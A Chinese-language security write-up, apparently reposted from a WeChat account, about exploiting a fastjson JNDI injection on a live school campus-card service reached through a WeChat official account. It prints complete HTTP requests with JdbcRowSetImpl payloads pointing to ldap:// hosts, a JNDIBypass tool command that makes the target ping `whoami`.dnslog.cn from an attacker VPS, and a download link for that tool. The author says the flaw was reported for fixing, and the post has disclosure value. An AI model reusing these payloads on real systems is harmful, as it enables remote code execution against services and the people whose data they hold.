关于JNDI注入一直都是在CTF中见到的,偶然在实战中碰到了一个fastjson,是一个公众号绑定校卡的点
通过burpsuite的插件扫到了存在fastjson的漏洞
通过下面payload去验证是否为误报
POST /baas/base/base/sqlQuery HTTP/1.1
Host: xxxxxxx
Connection: close
Content-Length: 111
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x63090a13) XWEB/9115 Flue
Content-Type: application/json
Origin: xxxxxxx
Referer: xxxxxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=00ED21A4EBE658A4D2B423E77CE019D5
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog","autoCommit":true}}
请求dnslog是能够成功的,但是执行命令始终无法成功,通过一些编码绕过也没有成功,一度没有思路不知道为什么失败,只能请求dnslog也无法提交
放了一段时间后想起来jndi注入在高版本jdk是存在限制的trustURLCodebase默认为false,无法加载远程的恶意类文件,只能加载CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件,想起来之前还分析过高版本jndi注入绕过方法,汗流浃背了,想到这个点后马上去验证,实战中直接利用工具就好了,不像CTF需要手搓链子,主打一个高效,工具地址为https://pan.baidu.com/s/1RW5Cvg1KtLuIrQ5LZPoRFQ?pwd=aij8
vps运行这个工具
java -jar JNDIBypass.jar -p 1389 -c "ping `whoami`.dnslog.cn"
执行下面这个payload
{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps_ip:1389/U8ZRm", "autoCommit":true}}""}
一发入魂得到命令执行的回显
漏洞已提交相关SRC修复中,平常都是在CTF中见到这些,这次在实战中而且在公众号遇到也挺有意思
来源:https://xz.aliyun.com/ 感谢【1614593629981828】
原文始发于微信公众号(船山信安):实战中的高版本JDK的JNDI注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论